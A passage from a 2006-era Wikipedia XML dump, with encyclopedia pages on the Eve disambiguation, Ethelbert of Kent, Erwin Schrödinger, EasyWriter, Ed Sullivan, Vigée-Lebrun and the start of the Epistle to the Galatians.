*'''''[[Eve (TV series)|Eve]]''''' is a [[television show]] that debuted in [[2003]]-[[2004]] on [[UPN]], starring rapper [[Eve (rapper)|Eve]] as the character &quot;Shelly&quot;;
*'''[[EVE Online]]''' is an [[MMORPG]] [[computer game]] created by [[CCP Games]] of [[Reykjavík]], [[Iceland]];
*'''eve''' is a [[online community|Web site community]] platform hosted by [[Infopop Corporation]].
*'''Eve''' is an alternate spelling for the [[Ewe language]] - a [[Niger-Congo]] language spoken in [[Ghana]] and [[Togo]].
*'''Eve''' is a symbolic name for an &quot;[[eavesdropper]]&quot; in [[cryptography]] discussions; see [[Alice and Bob]] for more details
*'''[[Extensible Versatile Editor|EVE]]''' is an acronym for &quot;Extensible Versatile Editor,&quot; a text editor provided with the [[VMS]] operating system.
*'''[[EVE_(mortar)|Eve]]''' was one of Germany's large mortars used in Second World War
*'''[[Eve (airplane)|Eve]]''' is another name for [[White Knight Two]], the [[Virgin Galactic]] launch craft.
*'''[[Eve (cigarette)|Eve]]''' is a brandname of cigarette marketed specifically to ladies
*'''[[Evolving Virtual Enterprise|EVE(TM)]]''' stands for the '''Evolving Virtual Enterprise''', an adaptive Web Portal System that uses the [[XIERE (TM)]] or X-tier Intelligent Engine for Real-time Environments.
*'''&quot;And Eve was Weak&quot;''' is the name of a song from the ill fated musical, 'Carrie'
==See also==

*'''[[Eve 6]]''', a [[California]] [[rock band]]

{{disambig}}

&lt;!--force Table Of contents to be hidden--&gt;
__NOTOC__

[[ca:Eva]]
[[de:Eve]]
[[fr:Ève (homonymie)]]
[[la:Eva]]
[[nl:Eva]]
[[pl:Ewa (strona ujednoznaczniająca)]]


*'''EVE''', a [[Korean visual rock band]].</text>
    </revision>
  </page>
  <page>
    <title>Edentata</title>
    <id>9940</id>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Xenarthra]]
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  </page>
  <page>
    <title>Ethelbert of Kent</title>
    <id>9941</id>
    <revision>
      <id>40527423</id>
      <timestamp>2006-02-21T05:26:13Z</timestamp>
      <contributor>
        <username>Ryanmcdaniel</username>
        <id>121715</id>
      </contributor>
      <minor />
      <comment>Changed succession box to s-template</comment>
      <text xml:space="preserve">'''Ethelbert''' (or '''Æthelbert''', or '''Aethelberht''') (c. [[552]] - [[February 24]], [[616]]&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt;) was [[Kings of Kent|King]] of [[Kingdom of Kent|Kent]] from around [[580]] or [[590]] until his death. After his death, he was regarded as a [[saint]].

He was the son of [[Eormenric of Kent|Eormenric]], whom he succeeded as king, according to the ''[[Anglo-Saxon Chronicle]]''. [[Gregory of Tours]], who was a close acquaintance of Queen [[Ingoberg]] (the mother of Ethelbert's wife [[Berthe]]), twice calls him simply &quot;a man of Kent&quot;, indicating that he was not king at the time Gregory's ''History of the Franks'' was written, and that Ethelbert more likely became king closer to [[590]].

The Anglo-Saxon Chronicle records that he attempted at one stage to wrest the position of [[Bretwalda]] from [[Ceawlin of Wessex]] but was unsuccessful. His standing was advanced by his marriage with Berthe, daughter of [[Charibert]], king of the [[Franks]], thus building an alliance with the most powerful state in [[Europe]] at that time. This prestige enabled him to claim the title of Bretwalda after Ceawlin's death.

The influence of Berthe, who had brought her [[chaplain]] [[Liuhard of Canterbury|Liuhard]] (or Letard) with her to Kent, may have led to the invitation to [[Pope Gregory I]] to send [[missionaries]] from [[Rome]].  [[Augustine of Canterbury|Augustine]] landed on the [[Isle of Thanet]] in [[597]], and Ethelbert first met him under an oak tree, in accordance with his belief that he could thus dispel any magic the Christians might attempt. Tradition has it that Augustine [[baptism|baptized]] Ethelbert only a few days after landing in Kent, although a letter from Gregory to Berthe suggests that it cannot have happened before [[601]]. In any case, churches were established and efforts began to [[religious conversion|convert]] the people to [[Christianity]].

Ethelbert also established a written code of laws for Kent, the earliest in any [[Heptarchy|Anglo-Saxon kingdom]], which provided for the protection of the Church and instituted a complex system of fines. The nature of the law code is evidence that Kent was a relatively organized and centralized kingdom under Ethelbert.

Ethelbert was later [[Canonization of Saints|canonised]] for his role in restoring Christianity to [[England]]. Although he died on [[February 24]], [[616]], his [[feast day]] was usually celebrated on [[February 25]] so that it would not overlap with the feast of [[Saint Matthias]] on the previous day.

==Notes==
# The year of Ethelbert's death may have been slightly later, perhaps [[618]].

{{s-start}}
{{s-bef|before=[[Eormenric of Kent|Eormenric]]}}
{{s-ttl|title=[[Kingdom of Kent|King of Kent]]|years=c.590-616}}
{{s-aft|after=[[Eadbald of Kent|Eadbald]]}}
|-
{{s-bef|before=[[Ceawlin of Wessex]]}}
{{s-ttl|title=[[Bretwalda]]|years=591-616}}
{{s-aft|after=[[Raedwald of East Anglia]]}}
{{end}}

==See also==
[[List of monarchs of Kent]]

==External links==
* The [[Catholic Encyclopedia]] entry on Ethelbert: http://www.newadvent.org/cathen/05553b.htm


{{wikisource author}}
[[Category:550s births]]
[[Category:616 deaths]]
[[Category:Anglo-Saxon saints]]
[[Category:Kentish monarchs]]

[[de:Ethelbert von Kent]]
[[fr:Ethelbert]]
[[nl:Ethelbert van Kent]]
[[no:Aethelbert av Kent]]
[[pl:Aethelbert z Kentu]]</text>
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  </page>
  <page>
    <title>Erwin Schrödinger</title>
    <id>9942</id>
    <revision>
      <id>40877099</id>
      <timestamp>2006-02-23T16:36:32Z</timestamp>
      <contributor>
        <ip>193.224.148.62</ip>
      </contributor>
      <comment>+hu:</comment>
      <text xml:space="preserve">[[Image:Schrdngr.jpg|thumb|152px|Erwin Schrödinger, as depicted on the former [[Austria]]n 1000 [[Schilling]] [[bank note]].]] 
[[Image:Erwin Schrodinger at U Vienna.JPG|thumb|152px|Bust of Schrödinger, in the courtyard arcade of the main building, [[University of Vienna]], Austria.]] 

'''Erwin Rudolf Josef Alexander Schrödinger''' ([[August 12]], [[1887]] &amp;ndash; [[January 4]], [[1961]]), an [[Austria]]n [[physicist]], achieved fame for his contributions to [[quantum mechanics]], especially the [[Schrödinger equation]], for which he won the [[Nobel Prize]] in 1933. He proposed the [[Schrödinger's cat]] [[thought experiment]].

==Biography==
===Early years===

In [[1887]] Schrödinger was born in Erdberg, Vienna to Rudolf Schrödinger (cerecloth producer, botanist) and Georgine Emilia Brenda (daughter of Alexander Bauer, Professor of Chemistry, [[k.u.k.]] [[Technische Hochschule]] [[Vienna]]). His father was a Catholic and his mother was a Lutheran.  In [[1898]] he attended the Akademisches Gymnasium. Between [[1906]] and [[1910]] Schrödinger studied in Vienna under [[Franz Serafin Exner]] ([[1849]] - [[1926]]) and [[Friedrich Hasenöhrl]] ([[1874]] - [[1915]]). He also conducted experimental work in [[Kohlrausch]]. In [[1911]], Schrödinger became an assistant to Exner.

===Middle years===

In [[1914]] Erwin Schrödinger achieved [[Habilitation]] (''venia legendi''). Between [[1914]] and [[1918]] he participated in war work as a commissioned officer in the Austrian fortress artillery (Görz, Duino, Sistiana, Prosecco, Vienna). On [[April 6]] [[1920]] Schrödinger married Annemarie Bertel. In [[1920]], he became the assistant to [[Max Wien]], in [[Jena]]. In September [[1920]] he attained the position of a. o. Prof. (''Ausserordentlicher Professor''), roughly equivalent to Reader (UK) or associate professor (US)), in [[Stuttgart]]. In [[1921]], he became o. Prof. (''Ordentlicher Professor'', i.e. full professor), in Breslau (now [[Wrocław]], Poland).

In [[1922]], he went to [[University of Zurich | University of Zürich]]. In January [[1926]],  Schrödinger published in the ''Annalen der Physik'' the paper &quot;''Quantisierung als Eigenwertproblem''&quot; [''tr''. Quantisation as an [[eigenvalue|Eigenvalue]] Problem] on wave mechanics and what is now known as the [[Schrödinger equation]]. In this paper he gave a &quot;derivation&quot; of the wave equation for time independent systems, and showed that it gave the correct energy eigenvalues for the [[hydrogen-like atom]].  This paper has been universally celebrated as one of the most important achievements of the twentieth century, and created a revolution in quantum mechanics, and indeed of all physics and chemistry.  A second paper was submitted just four weeks later that solved the [[quantum harmonic oscillator]], the [[rigid rotor]] and the diatomic molecule, and gives a new derivation of the Schrödinger equation.  A third paper in May showed the equivalence of his approach to that of Heisenberg and gave the treatment of the [[Stark effect]].  A fourth paper in this most remarkable series showed how to treat problems in which the system changes with time, as in [[scattering]] problems.  These papers were the central achievement of his career and were at once recognized as having great significance by the physics community.

In [[1927]], he joined [[Max Planck]] at the [[Humboldt University of Berlin | Friedrich Wilhelm University]] in [[Berlin]]. In [[1933]], however, Schrödinger decided to leave Germany; he disliked the Nazis' [[anti-semitism]]. He became a Fellow of [[Magdalen College, Oxford | Magdalen College]] at the [[University of Oxford]]. Soon after he arrived, he received the [[Nobel Prize]] together with [[Paul Dirac|Paul Adrien Maurice Dirac]]. His position at Oxford did not work out; his unconventional personal life (Schrödinger lived with two women) did not meet with acceptance. In [[1934]], Schrödinger lectured at [[Princeton University]]; he was offered a permanent position there, but did not accept it. Again, his wish to set up house with his wife and his mistress may have posed a problem. He had the prospect of a position at the [[University of Edinburgh]] but visa delays occurred, and in the end he took up a position at the [[University of Graz]] in [[Austria]] in [[1936]].

{{Template:Single strand DNA discovery}}

===Later years===

In [[1938]], after Hitler occupied Austria, Schrödinger had problems because of his flight from Germany in [[1933]] and his known opposition to [[Nazism]]. He issued a statement recanting this opposition (he later regretted doing so, and he personally apologized to [[Albert Einstein | Einstein]]).  However, this did not fully appease the new dispensation and the university dismissed him from his job for political unreliability. He suffered harassment and received instructions not to leave the country, but he and his wife fled to Italy. From there he went to visiting positions in [[University of Oxford|Oxford]] and [[Ghent University|Ghent]] Universities. 

In 1940 he received an invitation to help establish an [[Dublin Institute for Advanced Studies|Institute for Advanced Studies]] in [[Dublin]], [[Ireland]]. He became the Director of the School for Theoretical Physics and remained there for 17 happy years, during which time he became a naturalised Irish citizen. He wrote about 50 further publications on various topics. These attempted to approach a [[unified field theory]].  

In [[1944]], he wrote &quot;''[[What is Life? (Schrödinger)|What is Life?]]''&quot; (which contains [[Negentropy]], concepts for genetic code). According to [[James D. Watson]]'s memoir, ''DNA, The Secret of Life'', Schrödinger's 1944 book ''What is Life?'' gave Watson the inspiration to research the [[gene]], which led to the discovery of the [[DNA]] double helix structure. Similarly, [[Francis Crick]], in his autobiographical book ''What Mad Pursuit'', described how he was influenced by  Schrödinger's speculations about how genetic information might be stored in molecules. Schrödinger stayed in Dublin until retiring in 1955. During this time he remained committed to his particular passion; scandalous involvements with students occurred and he fathered two children by two different Irish women. He had a life-long interest in [[Vedanta]].

In [[1956]], he returned to Vienna (chair ''ad personam'').
At an important lecture during the World Energy Conference he refused to speak on nuclear energy because of his skepticism about it and gave a philosophical lecture instead. During this period Schrödinger turned from mainstream quantum mechanics' definition of wave-particle duality and promoted the wave idea alone causing much controversy.

===Death and afterwards===

In [[1961]], Schrödinger died in [[Vienna]] of [[tuberculosis]] at the age of 73. He left a widow, 
Anny. He was buried in [[Alpbach]] ([[Austria]]).

After his death, the huge [[Schrödinger (crater)|Schrödinger crater]] on the [[Far side (Moon)|far side]] of the [[Moon]] was named for him by the [[International Astronomical Union|IAU]].

==References==
* Moore, Walter  &quot;Schrödinger:  Life and Thought&quot; University of Cambridge (1989) ISBN 0521437679.

==Books by Erwin Schrödinger==

*&quot;Nature and the Greeks&quot; and &quot;Science and Humanism&quot; Cambridge University Press (1996) ISBN 0521575508.
*&quot;Statistical Thermodynamics&quot; Dover Publications (1989) ISBN 0486661016.
*&quot;Space-Time Structure&quot; Cambridge University Press (1985) ISBN 0521315204.
*&quot;My View of the World&quot; Ox Bow Press (1983) ISBN 0918024307.
*&quot;What is Life?&quot; Macmillan (1946).

==See also==

*[[Schrödinger's cat]]
*[[Schrödinger method]]
*[[Schrödinger equation]]
*[[Schrödinger functional]]
*[[Schrödinger semigroup]]
*[[List of Austrian scientists]]
*[[List of Austrians]]

== External links ==
{{commons|Erwin Schrödinger}}
* [http://www-groups.dcs.st-andrews.ac.uk/~history/Mathematicians/Schrodinger.html  O'Connor, Robertson, &quot;&lt;nowiki&gt;MacTutor&lt;/nowiki&gt; biography of Erwin Schrödinger&quot;]
* &quot;''[http://www.zbp.univie.ac.at/schrodinger/bio/bio1.htm biographie]''&quot; (in German) or 
* &quot;''[http://www.zbp.univie.ac.at/schrodinger/ebio/bio1.htm Biography from the Austrian Central Library for Physics]''&quot; (in English) 
* [[Nobel Lecture]]s, [[Physics]] [[1922]]-[[1941]], &quot;''[http://www.nobel.se/physics/laureates/1933/schrodinger-bio.html Erwin Schrödinger Biography]''&quot; from NobelPrize.org
* Vallabhan, C. P. Girija, &quot;''[http://www.photonics.cusat.edu/article2.html Indian influences on Quantum Dynamics]''&quot; [''ed.'' Schrödinger's interest in [[Vedanta]]]
* [http://www.nobel-winners.com/Physics/erwin_schrodinger.html Biography from Nobel Winners]
* [http://www.ch.ic.ac.uk/watoc Schrödinger Medal] of the World Association of Theoretically Oriented Chemists ([[WATOC]])
* [http://holiker.narod.ru/four/schrodinger-speech.html ''The Discovery of New Productive Forms of Atomic Theory'' Nobel Banquet speech] (in German)


[[Category:1887 births|Schrödinger, Erwin]]
[[Category:1961 deaths|Schrödinger, Erwin]]
[[Category:Austrian physicists|Schrödinger, Erwin]]
[[Category:Irish physicists|Schrödinger, Erwin]]
[[Category:Members of the Pontifical Academy of Sciences|Schrödinger, Erwin]]
[[Category:Nobel Prize in Physics winners|Schrödinger, Erwin]]

[[bg:Ервин Шрьодингер]]
[[bn:এর‌উইন শ্রোডিঙ্গার]]
[[ca:Erwin Schrödinger]]
[[cs:Erwin Schrödinger]]
[[da:Erwin Schrödinger]]
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[[es:Erwin Schrödinger]]
[[fr:Erwin Schrödinger]]
[[gl:Erwin Schrödinger]]
[[ko:에어빈 슈뢰딩거]]
[[hr:Erwin Schrödinger]]
[[it:Erwin Schrödinger]]
[[he:ארווין שרדינגר]]
[[lt:Ervinas Šriodingeris]]
[[hu:Erwin Schrödinger]]
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[[ja:エルヴィン・シュレーディンガー]]
[[no:Erwin Schrödinger]]
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[[ro:Erwin Schrödinger]]
[[ru:Шрёдингер, Эрвин]]
[[sl:Erwin Schrödinger]]
[[fi:Erwin Schrödinger]]
[[sv:Erwin Schrödinger]]
[[zh:埃尔温·薛定谔]]</text>
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  </page>
  <page>
    <title>Episome</title>
    <id>9944</id>
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      <text xml:space="preserve">#REDIRECT [[plasmid]]
</text>
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  </page>
  <page>
    <title>EasyWriter</title>
    <id>9945</id>
    <revision>
      <id>28065440</id>
      <timestamp>2005-11-11T23:01:17Z</timestamp>
      <contributor>
        <username>Jkruis</username>
        <id>532499</id>
      </contributor>
      <minor />
      <comment>removed dead link to comparison</comment>
      <text xml:space="preserve">'''EasyWriter''' is a [[word processor]] released when the [[IBM PC]] was announced in [[1981]]. It was written by Capn Software, which also produced a version of [[Forth programming language|Forth]] &amp;mdash; see Byte Magazine, January, 1982, p. 62.

EasyWriter was not received well and was soon replaced by better programs, such as [[WordStar]], which was ported from [[CP/M]]. EasyWriter was probably hastily selected by [[International Business Machines|IBM]] because of its rush to introduce the IBM [[Personal computer|PC]].

==See also==
*[[List of word processors]]

{{compu-soft-stub}}
[[Category:DOS software]]
[[Category:Word processors]]



----

'''EasyWriter''' is a [[style guide]] for the [[English language]], written by Andrea A. Lunsford. It includes information about [[grammar]], usage, style and [[citation|citation formats]].</text>
    </revision>
  </page>
  <page>
    <title>Ed Sullivan</title>
    <id>9946</id>
    <revision>
      <id>42164110</id>
      <timestamp>2006-03-04T06:13:13Z</timestamp>
      <contributor>
        <ip>71.194.249.161</ip>
      </contributor>
      <text xml:space="preserve">:''For Sir Edward Sullivan, the Lord Chancellor of Ireland, see [[Edward Sullivan (lawyer)]]''.

[[Image:EdSullivan.jpg|thumb|Ed Sullivan]]

'''Edward Vincent Sullivan''' ([[September 28]], [[1901]] &amp;ndash; [[October 13]], [[1974]]) was an [[United States|American]] [[entertainment]] [[writer]] and [[television]] host, best known as the emcee of a popular TV [[variety show]] that was at its height of popularity in the [[1950s]] and [[1960s]].  

Sullivan was originally a newspaper sportswriter and theater columnist for the ''[[New York Daily News]]''. His column concentrated on [[Broadway theatre|Broadway]] shows and gossip. He also did show business news broadcasts on [[radio]]. Sullivan continued writing for The News throughout his broadcasting career. 

In [[1948]], the [[CBS]] network hired Sullivan to do a weekly Sunday night TV [[variety show]], Toast of the Town, which later became ''[[The Ed Sullivan Show]]''. The show was broadcast from CBS Studio 50 on Broadway in New York City, which in 1967 was renamed the [[Ed Sullivan Theater]] (and is now the home of ''[[The Late Show with David Letterman]]''). 

Sullivan himself had little acting ability; his mannerisms on camera were somewhat awkward and often caricatured by comedians who called him &quot;Old Stone Face,&quot; owing to his deadpan delivery. Columnist Harriet Van Horne alleged that &quot;he got where he is not by having a personality, but by having no personality; he is the commonest common denominator.&quot; According to the crazyabouttv.com website, Sullivan replied with a short note:

:''Dear Miss Van Horne,''
:''You bitch.''
:''Sincerely, Ed Sullivan''

Somehow, Sullivan still seemed to fit the show; he appeared to the audience as an average guy who brought the great acts of show business to their home televisions.  Sullivan had a healthy sense of humor about himself and permitted- even encouraged- impersonators such as [[John Byner]] and [[Rich Little]] to imitate him on his show.

In the [[1950s]] and [[1960s]], Sullivan was a respected starmaker because of the number of performers that became household names after appearing on the show. He had a knack for identifying and promoting top talent and paid a great deal of money to secure that talent for his show.  

There was another side to him: he could be very quick to take offense if he felt that he had been crossed and could hold a grudge for a long time.

[[Jackie Mason]], [[Bo Diddley]], and [[The Doors]] became intimately familiar with Sullivan's negative side. [[The Doors]] were banned in [[1967]] after they were asked to remove the lyric &quot;Girl, we couldn't get much higher&quot; from their song &quot;[[Light My Fire]]&quot; (CBS censors believed it was too overt a reference to [[drug use]]) and sang the song with the lyrics intact.  [[Jim Morrison]] is reported to have said &quot;Fuck you.&quot; to Ed's stagemanager and nephew, Phil Precht. (The [[Rolling Stones]] were a different story; they were forced to change the chorus of &quot;Let's Spend the Night Together&quot; to an incomprehensible mumble, or by some accounts  &quot;Let's Spend Some Time Together,&quot; rather than accept censorship.) [[Jackie Mason]] was banned from the series in [[1962]], when Sullivan gestured that he should wrap things up and Sullivan believed Mason replied on live television with [[the finger]].

On [[November 20]], [[1955]], [[Bo Diddley]] was asked by Sullivan to sing Tennessee Ernie Ford's hit &quot;Sixteen Tons&quot;. Come air time, Diddley sang his #2 hit song, &quot;Bo Diddley&quot;. He, too, was banned from the show. 

In [[1961]]. Sullivan was asked by [[CBS]] to fill in for an ailing [[Red Skelton]] on [[The Red Skelton Show]]. He performed some of Skelton's characters successfully. One character was renamed &quot;Eddie the Freeloader&quot; (normally &quot;Freddie the Freeloader).

In August of [[1956]] he was injured in an automobile accident that occurred near his country home in [[Southbury, Connecticut]] and had to take a medical leave from the show missing the [[September 8]] appearance of [[Elvis Presley]] on his show (something he earlier stated never would happen but he later changed his mind). The fact he had to play catch up to featuring such a star on his show made him determined to get the next big sensation first. In [[1964]], he achieved that with the first live American appearance of [[The Beatles]].  The Beatles first appearance, on February 9, 1964, was the most-watched program in TV history to that point, and remains one of the most-watched TV programs of all time.

Sullivan paid for the funeral of dancer [[Bill Robinson|Bill 'Bojangles' Robinson]] out of his own pocket. He also defied pressure to exclude [[African American]] musicians from appearing on his show.  

By 1971, the show was no longer in television's top 20. New CBS executives, who wanted to attract younger viewers, canceled the show along with virtually all of the network's oldest shows. Sullivan was so upset and angry he refused to do a final show, although he did come back to CBS for several TV specials and a 25th anniversary show in 1973. One year later, the man known as &quot;Old Stone Face&quot; died of cancer at the age of 73.

He was married to Sylvia Weinstein from [[April 28]], [[1930]] until her death on [[March 16]], [[1973]]. They had one child. 

He has a star on the [[Hollywood Walk of Fame]] at 6101 Hollywood Blvd.

== External links ==
* {{imdb name|id=0838047|name=Ed Sullivan}}
* [http://www.televisionheaven.co.uk/edsullivan.htm Ed Sullivan]
* [http://www.philsilversshow.homestead.com/EdSullivan.html Ed Sullivan appearance on the Phil Silvers Show]
[[Category:1901 births|Sullivan, Ed]]
[[Category:1974 deaths|Sullivan, Ed]]
[[Category:American television personalities|Sullivan, Ed]]
[[Category:Hollywood Walk of Fame|Sullivan, Ed]]
[[Category:Irish-Americans|Sullivan, Ed]]

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  <page>
    <title>Marie Louise Élisabeth Vigée-Lebrun</title>
    <id>9948</id>
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      <text xml:space="preserve">[[Image:Vigee-Lebrun1782.jpg|thumb|''Self-portrait'', 1782]]
'''Marie-Louise-Élisabeth Vigée-Le Brun''' ([[April 16]], [[1755]] - [[March 30]], [[1842]]) was a French painter, the most famous woman painter of the [[18th century]].

She was born in [[Paris]], the daughter of a painter, from whom she received her first instruction, though she benefited more by the advice of [[Gabriel François Doyen]], [[Jean-Baptiste Greuze]], [[Joseph Vernet]] and other masters of the period. By the time she was in her early teens, she was already painting portraits professionally. After her studio was seized for practicing without a license, she applied to the ''Académie de Saint Luc''  who willingly exhibited her works in their Salon. On [[25 October]] [[1774]], she was made a member of the Académie.

In 1776, she married Jean-Baptiste-Pierre Lebrun, a painter and art dealer. She painted portraits of many of the nobility of the day and as her career blossomed, she was invited to the [[Palace of Versailles]] to paint [[Marie Antoinette|Queen Marie-Antoinette]]. So pleased was the Queen that over the next several years, Vigée-Lebrun was commissioned to do numerous portraits of the Queen, her children, and other members of the Royal family and household.

In 1781 she and her husband toured [[Flanders]] and the [[Netherlands]] where the works of the Flemish masters inspired her to try new techniques. There, she painted portraits of some of the nobility, including the [[William I of the Netherlands|Prince of Nassau]]. 

[[Image:MA-Lebrun.jpg|left|thumb|''Portrait of [[Marie-Antoinette]]'', 1783]]

On [[May 31]], [[1783]], Vigée-Lebrun was accepted as a member of France's ''Académie Royale de Peinture et de Sculpture'' as a painter of historical allegory. [[Adelaide Labille-Guiard]] was also admitted on the same day. The admission of Vigée-Lebrun was opposed by the men in charge on the grounds that her husband was an art dealer, but eventually they were overruled by an order from [[Louis XVI of France|Louis XVI]] after Marie-Antoinette put considerable pressure on her husband on behalf of her painter. The admission of more than one woman on the same day encouraged comparisons between the women instead of between one woman and the men members.

After the arrest of the royal family during the [[French Revolution]] Vigée-Lebrun fled France and lived and worked for some years in [[Italy]], [[Austria]], and [[Russia]], where her experience in dealing with an aristocratic clientele was still useful. In [[Rome]], her paintings met with great critical acclaim and she was elected to the Roman ''Accademia di San Luca''. In Russia, she was received by the nobility and painted numerous members of [[Catherine II of Russia|Catherine the Great's]] family. While there, Vigée-Lebrun was made a member of the ''Academy of Fine Arts of St. Petersburg''.

She was welcomed back to France during the reign of Emperor [[Napoleon I]]. Much in demand by the elite of [[Europe]], she visited [[England]] at the beginning of the 19th century and painted the portrait of several British notables including [[George Gordon Byron, 6th Baron Byron|Lord Byron]]. In 1807 she traveled to [[Switzerland]] and was made an honorary member of the ''Societe pour l'Avancement des Beaux-Arts'' of [[Geneva]].

She published her memoirs in [[1835]] and [[1837]], which provide an interesting view of the training of artists at the end of the period dominated by royal academies.

[[Image:Lebrun, Self-portrait.jpg|thumb|200px|''Self-portrait'', painted at [[Florence]] in 1790.]]

Still very active with her painting, in her fifties, she purchased a house in [[Louveciennes]], [[Île-de-France (région)|Île-de-France]], and lived there until the house was seized by the [[Kingdom of Prussia|Prussian]] Army during the war in 1814. She stayed in Paris until her death on [[March 30]], [[1842]] when her body was taken back to Louveciennes and buried in the cemetery near her old home.

Her tombstone [[epitaph]] states &quot;''Ici, enfin, je repose&amp;hellip;''&quot; (Here, at last, I rest&amp;hellip;).

Vigée-Lebrun is considered the most important female artist of the [[18th century]]. She left behind 660 portraits and 200 landscapes. In addition to private collections, her works can be found at major museums in [[Europe]] and the [[United States]].

{{commons|Elisabeth Vigée-Lebrun}}

==References==
*{{1911}}
*Lebrun, ''Souvenirs'', Paris, 1835&amp;ndash;1837 (translated by Lionel Strachey, New York, 1903).

==Related Links==
[[Women Artists]]

==External links==
* [http://www.batguano.com/Vigeeartpages.html Large gallery of Vigée-Lebrun's work]
* [http://www.artcyclopedia.com/artists/vigee-lebrun_marie_louise_elisabeth.html Artcyclopedia entry on Elisabeth Vigée-Lebrun]
* Vigée-Lebrun's ''[http://www.artnet.com/artwork/129425/_Marie_Louise_Elisabeth_Vigee-Lebrun_Portrait_of_Carlo_Gastone_della_Torre_di_Rezzonico.html Portrait of Carlo Gastone della Torre di Rezzonico]'' at [http://www.artnet.com/ artnet]
*[http://www.gadflyonline.com/01-14-02/ftr-women.html Old Masters: Overlooked Women Artists]
*[http://digital.library.upenn.edu/women/lebrun/memoirs/memoirs.html ''Memoirs of Madame Vigée-Lebrun'', translated by Lionel Strachey]

[[Category:1755 births|Vigée-Lebrun, Marie Élisabeth Louise]]
[[Category:1842 deaths|Vigée-Lebrun, Marie Élisabeth Louise]]
[[Category:French painters|Vigée-Lebrun, Marie Élisabeth Louise]]
[[Category:Portrait artists|Vigée-Lebrun, Marie Élisabeth Louise]]
[[Category:Women in art|Vigée-Lebrun, Marie Élisabeth Louise]]

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  <page>
    <title>Epistle to Galatians</title>
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      <text xml:space="preserve">{{Books of the New Testament}}
The '''Epistle to Galatians''' is a book of the [[New Testament]]. It is a letter from [[Paul of Tarsus]] to some Christian early communities in the Roman province of [[Galatia]] in central [[Anatolia]]. It is principally concerned with the controversy surrounding Gentile Christians and the Jewish Law within early Christianity. Along with the [[Epistle to the Romans]], it is the most theologically significant of the [[Pauline epistles]], and has been particularly influential in [[Protestant]] thought.  

==Galatia==
Paul's letter is addressed &quot;to the churches in [[Galatia]]&quot; ([http://www.biblegateway.com/passage/?search=Galatians%201:2;&amp;version=31; 1:2]), but location of these churches is a matter of debate. A minority of scholars have argued that the &quot;Galatia&quot; is an ethnic reference to a [[Celt]]ic people living in northern [[Asia Minor]], but perhaps the majority opinion is that it is a geographical reference to the Roman province in central Asia Minor, which had been settled by immigrant Celts in the 270s BC and retained Gaulish features of culture and language in Paul's day. [[Acts of the Apostles]] records Paul travelling to the &quot;region of Galatia and [[Phrygia]]&quot;, which lay immediately west of Galatia.

== Historical Background ==

The churches of [[Galatia]] were founded by Paul himself (Acts [http://www.biblegateway.com/passage/?search=Acts%2016:6;&amp;version=31; 16:6]; Gal [http://www.biblegateway.com/passage/?search=Galations%201:8;&amp;version=31; 1:8]; [http://www.biblegateway.com/passage/?search=Galations%204:13;&amp;version=31; 4:13], [http://www.biblegateway.com/passage/?search=Galations%204:19;&amp;version=31; 4:19]). They seem to have been composed mainly of converts from paganism ([http://www.biblegateway.com/passage/?search=Galations%204:8;&amp;version=31; 4:8]). After Paul's departure the churches were visited by individuals whom Paul regarded as troublemakers preaching a &quot;different gospel&quot; from that preached by Paul ([http://www.biblegateway.com/passage/?search=Galations%201:6-9;&amp;version=31; 1:6&amp;ndash;9]). The Galatians appear to have been receptive to the teaching of these newcomers, and the epistle is Paul's angry response to what he sees as their willingness to turn from his teaching.

The identity of these &quot;opponents&quot; is disputed. We do not have a record of their activity, but are left to reconstruct it from Paul's response. However, the majority of modern scholars view them as &quot;Jewish Christians&quot; (i.e. [[Judaizer]]s), who taught that in order for pagans to belong to the people of God, they must be subject to some or all of the Jewish Law. The letter indicates controversy concerning circumcision, Sabbath observance, and the Mosaic Law. It would appear, from Paul's response, that they cited the example of [[Abraham]], who was circumcised as a mark of receiving the covenant blessings.  They certainly appear to have questioned Paul's authority as an apostle, perhaps appealing to the greater authority of the Jerusalem church governed by [[James the Just]].   

It appears the teachers made some headway among Paul's converts. Sociological research has suggested that converts from dominant paganism may have suffered a &quot;loss of identity&quot;, and found the clarity offered by a Jewish identity and a law-observant lifestyle attractive. 

Paul responds angrily. He reminds the Galatians of the &quot;law-free&quot; gospel he has preached to them. He rehearses his conversion and apostolic credentials, records his relationship with the Jerusalem Church, and engages in a halakahic argument over the interpretation of the Abraham story.

==Authenticity==

:: '' Main article: [[Authorship of the Pauline Epistles]] ''

Although [[Ferdinand Christian Baur]], one of the earliest critical scholars, argued that Paul did not write Galatians, critical scholarship by the end of the 19th century was in agreement that Paul had written this letter.  Today, virtually all scholars agree that Galatians is one of the most certain examples of Paul's writing.

The main arguments in favor of the authenticity of Galatians included its style and themes, which are common to the core letters of the Pauline corpus, and the historical connection to Acts of the Apostles.  Moreover, Paul's description of the meeting in [[Jerusalem]] (Gal [http://www.biblegateway.com/passage/?search=Galations%202:1-10;&amp;version=31; 2:1&amp;ndash;10]) gives a different point of view than the description in Acts [http://www.biblegateway.com/passage/?search=Acts%2015:2-29;&amp;version=31; 15:2&amp;ndash;29], whereas a forger writing in later decades would most likely have stuck close to the account in Acts to convince his audience that this was an authentic writing by Paul.

The central dispute in the letter concerns the question of how Gentiles could convert to Christianity, which shows that this letter was written at a very early stage in church history, when the vast majority of Christians were Jewish.  This puts it during the lifetime of Paul himself.

There is no hint in the letter of a developed organization within the Christian community at large.

==Date and audience==

There are two main theories about when Galatians was written and to whom.  The North Galatian view holds that the epistle was written very soon after Paul's second visit to Galatia (Acts [http://www.biblegateway.com/passage/?search=Acts%2018:23;&amp;version=31; 18:23]). The visit to [[Jerusalem]], mentioned in Gal 2:1&amp;ndash;10, seems identical with that of Acts 15, and it is spoken of as a thing of the past. Consequently, the epistle seems to have been written subsequently to the [[Council of Jerusalem]]. The similarity between this epistle and that to the Romans has led to the conclusion that they were both written at the same time, namely, in the winter of AD 57&amp;ndash;58, during Paul's stay in [[Corinth]] (Acts [http://www.biblegateway.com/passage/?search=Acts%2020:2-3;&amp;version=31; 20:2&amp;ndash;3]). This to the Galatians is written on the urgency of the occasion, tidings having reached him of the state of matters; and that to the Romans in a more deliberate and systematic way, in exposition of the same fundamental doctrines of the gospel.

